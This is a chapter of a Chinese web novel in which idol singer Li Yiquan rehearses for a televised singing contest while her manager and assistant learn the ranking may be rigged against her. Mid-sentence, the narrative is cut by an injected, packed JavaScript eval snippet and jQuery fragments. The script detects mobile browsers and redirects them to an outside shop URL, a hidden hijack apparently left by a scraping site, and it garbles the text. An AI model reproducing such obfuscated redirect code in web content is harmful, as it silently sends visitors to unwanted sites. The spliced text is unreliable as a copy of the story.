练习了一个星期，《我是歌王》第一场竞演终于要录制了。录制前一天，李亦泉拿到了台本，这次电视台的编导来对台本，武朗真的没来，只有马哲一人。录制时间、乐队人员、服装舞美都一一核对好后，马哲笑眯眯地对李亦泉和赵天日说：“加油哈，这次大家最看好你们！”


    站在一边负责“接客”、“送客”的陆漫然想，上次武朗还一副破罐破摔的架势，这么快就变成最看好他们了。马哲一走赵天日就讽刺道：“哼，小油条，指不定跟所有选手都说这套呢。”


    录制当天，一行人早早出发去武汉台，当天的流程是拍摄事前花絮、现场彩排、化妆、最后正式竞演。录制前天晚上，柳宗悦给李亦泉发了微信，祝她加油，而钟茗毫无表示。来电视台的路上，钟茗在微博上转发了Sept.的官博，写的是“泉泉竞演加油”，李亦泉心里恶心，偏偏赵天日让她待会录事前花絮时把这件事说一下。


    到了电视台，马哲领他们去后台一个装饰成家庭客厅的演播室，演播室有七个沙发，主持人邓进已经在里面等着，李亦泉是第四个到的，陆漫然和赵天日站在一大排摄像机后面看着。大概过了半个小时，所有竞演的选手全部到齐。


    《我是歌王》第一场竞演共有六名选手，三男三女，女的有偶像组合主唱李亦泉，一位韩国女歌手，一位中美混血女唱将，男的有将近五十的“大哥”齐洪磊，一位台湾乐队主唱，还有一位新生代、未成年的流量小鲜肉。


    这几个人都不是综艺咖，整场都由邓进推流程，简单介绍嘉宾、念广告、扔几个搞笑的梗，几位嘉宾再商业互吹一波，之后便进入抽签演唱顺序的环节。


    陆漫然和赵天日在一大群摄像机后面看着节目录制，十分紧张。竞演顺序对最终排名有一定影响，谁都不想先上场唱歌。本季《我是歌王》的冠名商是某腕表品牌，几位嘉宾随便拿起桌上的超大腕表模型，时针和分针的数字相减，得到的就是演唱顺序。李亦泉抽到第三，首发出场的是韩国女歌手，最后一个演唱的是齐洪磊。


    抽签完毕，嘉宾和经纪人、助理回到各自的休息室，练歌、休息、拍摄花絮，准备待会彩排。李亦泉刚进休息室就拿出手机，对着摄像机笑着说：“宗悦姐去北京拍电影了，昨天晚上好晚了还给我发信息，让我今天加油呢。”


    李亦泉点开微信，冲镜头指指手机，赵天日看她不提钟茗，在旁边假装提醒：“茗茗也给你加油你了啊。”


    摄像机顺势给了经纪人一个镜头，李亦泉有想翻白眼的冲动，一是恶心赵天日的叫法，二是不屑他的提醒。就算她心里厌恶钟茗，也不会在节目里厚此薄彼，故意引战。她面上保持微笑道：“是啊，钟茗姐也为我加油了，我一定会努力的！大家请期待待会的竞演吧！”


    她做了个握拳的手势，脑袋里想着节目播出后粉丝会在微博上怎么留言，肯定是“这一期真的团魂炸裂”、“嗑三人的有没有请带上我”、“没合体也被今天的团魂击中”之类的。


    她有时候真佩服粉丝们的脑洞，他们的想法既丰富又幼稚，明明是一个小到不能再小的事情，明明是一个刻意安排到不能再明显的点，他们总是能get到并且无限放大。李亦泉每次在演唱会上、在商演上、在微博上说“谢谢，我爱你们”，其实都是在说，“谢谢你们这么傻地爱我”。


    你的粉丝就只是你的粉丝，他们没人懂你，你却还希望这样的人越多越好。


    中午的时候轮到李亦泉彩排，她在台上唱歌，台下武朗和总导演交头接耳，赵天日和马哲在一边安静地听，陆漫然负责拿手机录制彩排视频。


    李亦泉第一遍唱完，赵天日带着点打探敌情的意思，问马哲其他歌手彩排情况如何。马哲说话周全，笑眯眯道：“我们请来的，那肯定是最会唱歌的嘛。”


    赵天日对他这套打太极很是不屑，台上总导演在和李亦泉沟通，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981033|193581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便凑过去听听意见。他走后马哲跟陆漫然说：“哥跟你讲实话，你们家主子这场够呛。”


    陆漫然本想虚心请教，谁料马哲道：“武导对她意见超级大，就算她唱得好，排名也不会高的。”


    陆漫然心上一惊，第二遍彩排随即开始，他又举着手机，拍摄台上矮个子的女生。赵天日关心镜头下Sept.有没有曝光率，电视台编导讨厌选手暗中操纵竞演成绩，台上李亦泉聚精会神唱歌的样子，让她在人群中显得格外孤单。


    不管是过去还是现在，李亦泉总能遇见一大群敌对她的人。她当年做练习生时遭人欺负、被人疏远，而今成为风光无限的大明星，还要遭受这种傲慢和偏见。谁能给予她理智与情感呢？


    彩排结束，一行人回到后台休息室，赵天日给苏文馨发微信报告情况，李亦泉检查彩排录像，一边看一边小声跟陆漫然叨念：


    “第一次唱的时候副歌最后破音了……你发现没，第二段开头我总是比乐队进的快……结束之前是不是得有点现场互动……按提词器的人是不是不会日语啊，速度明显跟不上歌词……啧，不行，你去找马哲，跟他说所有歌手彩完了，我们再彩一次。”


    陆漫然看她这般精益求精，想起马哲说的话，顿住没动：“其实，你已经很努力了……”


    陆漫然在电视台混过一段日子，深谙其中门道。再彩排又怎样，李亦泉唱得再好，她选歌时得罪了武朗，编导们串通一气，暗箱操作，给她排最后一名，她也无能为力。


    这话要是以前那个小助理说的，李亦泉早当面教训她了。由于是陆漫然说的，她掩住怒色，阴郁地笑了：


    “你说我努力有什么用，比起理解，我更需要认证。而这个认证的机会，只有在舞台上，只有短暂的几分钟。你别废话了，快去找马哲。”


    李亦泉轻轻打了他一下，让他赶紧走，这拳头打在陆漫然身上，让他有一种软绵绵的感觉。